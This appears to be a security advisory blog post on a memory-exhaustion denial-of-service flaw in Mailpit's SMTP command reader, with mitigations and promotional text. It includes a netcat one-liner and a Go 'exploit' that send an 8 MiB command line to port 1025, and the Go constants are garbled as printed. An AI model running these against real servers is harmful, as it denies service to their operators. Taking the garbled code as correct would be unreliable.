Listen to this Post
Mailpit’s SMTP server reads each command line with an unbounded `bufio.Reader.ReadString(‘\n’)` before parsing the command or enforcing any protocol length limit. The vulnerable path resides in internal/smtpd/smtpd.go, where the session’s `readLine()` function calls `s.br.ReadString(‘\n’)` without a maximum length bound. This occurs before `session.parseLine()` parses the verb or enforces the RFC 5321 512-octet command-line limit. A remote SMTP client can send an oversized single command line and force Mailpit to allocate attacker-controlled memory before the server returns a syntax error or times out. The `MaxMessageSize` and `DATA` limits do not apply to this pre-DATA path. The same command reader is used by handleAuthLogin(), handleAuthPlain(), and `handleAuthCramMD5()` continuation lines, making AUTH flows equally vulnerable. Mailpit enables SMTP by default on `[::]:1025` via `config/config.go` and cmd/root.go. The issue is confirmed in current develop commit `cd7661fd5b23cce1e218b583b21e157cfa612051` and latest release v1.30.3 (tag commit 6acf5b8f942ab0e007b1227d31dfb3c3303e8d13), published 2026-06-27. No fixed version was identified during the initial review, though the issue is fixed in version 1.30.4. The vulnerability is distinct from GHSA-fpxj-m5q8-fphw (unauthenticated memory exhaustion through unlimited SMTP DATA and `/api/v1/send` body sizes). CWE-400 (Uncontrolled Resource Consumption). CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base score 7.5 (High).
DailyCVE Form:
Platform: Mailpit
Version: <= 1.30.3
Vulnerability: Unbounded SMTP command-line buffer
Severity: High (7.5 CVSS)
date: 2026-06-27
Prediction: Fixed in v1.30.4
What Undercode Say:
Verify vulnerable version
mailpit --version
v1.30.3 or earlier is vulnerable
Check SMTP listener (default port 1025)
ss -tlnp | grep 1025
or
netstat -tlnp | grep 1025
Reproduce with netcat sending oversized command
printf "X%.s" {1..8388608}; echo "" | nc -v localhost 1025
Observe memory spike via:
watch -n 1 'ps aux | grep mailpit | grep -v grep'
Go test PoV (from Mailpit checkout)
docker run --rm -v "$PWD:/src" -w /src golang:1.25 go test ./internal/smtpd -run TestUnboundedSMTPCommandLinePoV -v
Exploit: (Educational Purposes!)
package main
import (
"bufio"
"bytes"
"fmt"
"net"
"strings"
"time"
)
func exploit(target string) {
conn, err := net.DialTimeout("tcp", target, 10time.Second)
if err != nil {
panic(err)
}
defer conn.Close()
// Read banner
banner, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println("Banner:", banner)
// Send 8MiB oversized command line
oversized := strings.Repeat("X", 810241024) + "\r\n"
conn.Write([]byte(oversized))
// Read response (will be delayed due to memory allocation)
resp, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println("Response:", resp)
}
func main() {
exploit("localhost:1025")
}
Protection:
- Upgrade to Mailpit v1.30.4 or later
- Bind SMTP to trusted loopback-only clients if possible
- Apply network-layer rate limiting or firewall rules to restrict SMTP access
- Monitor memory usage and connection rates
- Consider running Mailpit behind a reverse proxy with request size limits
Impact:
An unauthenticated remote client that can reach Mailpit’s SMTP listener can force heap allocation proportional to a single command line before any SMTP command is parsed. Repeating the input across concurrent connections can consume process memory and degrade or deny Mailpit service availability. The default `MaxMessageSize` cap is enforced after DATA, while the command-line reader is reached before `DATA` and before `MAIL FROM SIZE=` handling. This is a resource exhaustion denial-of-service vulnerability with no confidentiality or integrity impact.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
